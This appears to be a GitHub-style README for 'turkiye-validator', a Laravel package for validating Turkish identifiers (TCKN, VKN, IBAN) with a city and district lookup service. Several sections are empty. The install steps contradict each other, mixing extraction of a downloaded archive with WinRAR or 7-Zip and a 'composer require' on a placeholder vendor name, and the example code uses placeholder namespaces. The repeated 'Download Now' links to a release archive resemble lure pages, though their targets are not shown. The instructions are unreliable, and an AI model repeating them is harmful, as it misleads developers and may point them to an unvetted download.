angg12346

🎉 turkiye-validator - Easily Validate Turkish Data

🚀 Getting Started

Welcome to the turkiye-validator repository! This tool helps you easily validate Turkish data in Laravel applications. It includes rules for important identifiers like TCKN, VKN, and IBAN. Plus, it offers a zero-database Address Service for cities and districts.

📥 Download Now

Download turkiye-validator

🛠️ System Requirements

To run turkiye-validator, you need:

📂 Features

📖 How It Works

turkiye-validator uses built-in rules to perform checks on Turkish data. This means you can easily integrate validation into your Laravel projects without hassle. The validation processes run directly at the application level, saving you from manual checks.

📦 Download & Install

To get started, visit the releases page to download the software. Click the link below to access it directly.

Download turkiye-validator

Once you’ve downloaded the package, follow these steps to install it:

  1. Extract the Package:
    • Locate the downloaded file and extract it using your preferred file extraction tool (like WinRAR, 7-Zip, etc.).
  2. Add to Your Laravel Project:
    • Move the extracted files to your Laravel application folder. Typically, this will be the app directory or wherever you keep your packages.
  3. Composer Installation:
    • Open a terminal and navigate to your Laravel project directory.
    • Run the following command to install the necessary dependencies:
      composer require your-vendor/turkiye-validator
      
  4. Configuration:
    • After installation, add the service provider to your config/app.php file if necessary.
    • Also, publish the configuration file using:
      php artisan vendor:publish --provider="YourVendor\TurkiyeValidator\ServiceProvider"
      
  5. Use the Validator:
    • You can start using the validation features in your application. For instance, validate a TCKN like this:
      use YourVendor\TurkiyeValidator\TCKNValidator;
      
      $validator = new TCKNValidator();
      if ($validator->validate('your_tckn_value')) {
          // TCKN is valid
      } else {
          // TCKN is invalid
      }
      

🗂️ Documentation

For further details on usage and configuration options, please refer to the documentation available in the repository.

🔗 Additional Information

✉️ Support

If you have any questions, feel free to open an issue in this repository. We are here to help!

📜 License

This project is licensed under the MIT License. See the LICENSE file for details.

Thank you for choosing turkiye-validator! Happy validating!